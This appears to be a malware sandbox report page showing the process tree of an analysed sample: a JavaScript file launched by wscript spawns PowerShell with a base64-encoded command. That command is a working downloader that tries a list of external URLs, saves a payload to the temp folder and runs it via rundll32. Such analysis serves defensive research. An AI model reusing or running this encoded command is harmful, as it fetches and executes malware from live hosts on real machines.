popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\NB6504Platemark.js

    2548

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAZABlAHUAdABvAG4AeQBtAHAAaABhAGwARQByAHIAYQBuAGQAIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAGQAbwBjAGkAcwBuAGUAaQByAG8AcwAuAGMAbwBtAC4AYgByAC8ARwBPAG0ALwBJAGkANgBYADAATQB6AEcAcwA4AHoALABoAHQAdABwAHMAOgAvAC8AaQBtAG0AdQBuAG8AbABpAGQAZQByAGEAegBnAG8AeQBvAHAAbwByAHQAdQBuAGkAZABhAGQALgBjAG8AbQAvAHgAcQBhADYAQwBuAHkALwAxAFAAZgB5AGgAdQBuAEYALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AdQBuAGkAZABhAGQAZQBoAGUAYgByAG8AbQAuAGMAbwBtAC4AYgByAC8AMABQADEANgAvAHQAcQB1ADcAdQBzAEcANwBCACwAaAB0AHQAcAA6AC8ALwB1AG4AaQB0AGUAZABlAGMALQBlAGcALgBjAG8AbQAvAEkARgBVADYAbABsAFoALwBTAG4AbgBnADUASABuAFQAQQBmADEALABoAHQAdABwAHMAOgAvAC8AdABoAGUAeQBvAHUAbgBnAGEAbgBkAHQAaABlAHIAYQB0AGMAaABlAHQALgBjAG8AbQAvAEkAegB2AE8ALwBPAHMAawBNADAALABoAHQAdABwAHMAOgAvAC8AYgBlAGIAZQBzAHMAaQAuAGMAbwBtAC4AdAByAC8AUQA5AFEAYgBTAGkALwBoAHMARQBWADIALABoAHQAdABwAHMAOgAvAC8AdABoAGUAdwBhAHQAYwBoAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB0AGsAaAA0AFAASAAvAGUARwB3AGYATwB6AEgALABoAHQAdABwAHMAOgAvAC8AYwBvAHoAYQByAHEAaQBuAGcAZQBuAGkAZQByAGkAYQAuAGMAbwBtAC4AbQB4AC8AUgA1AEEAdwBrAGgANAAvAHEANwAwAGoAWAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABkAGUAcABvAHIAdAAgAGkAbgAgACQAZABlAHUAdABvAG4AeQBtAHAAaABhAGwARQByAHIAYQBuAGQAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAZQBwAG8AcgB0ACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMgAwACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABwAGEAbABtAGkAcwB0AHMALgBwAGEAZABkAGwAZQBiAG8AYQByAGQAVQBuAGwAaQB2AGUAbAB5ADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAcABhAGwAbQBpAHMAdABzAC4AcABhAGQAZABsAGUAYgBvAGEAcgBkAFUAbgBsAGkAdgBlAGwAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABwAGEAbABtAGkAcwB0AHMALgBwAGEAZABkAGwAZQBiAG8AYQByAGQAVQBuAGwAaQB2AGUAbAB5ACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"

      2684

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf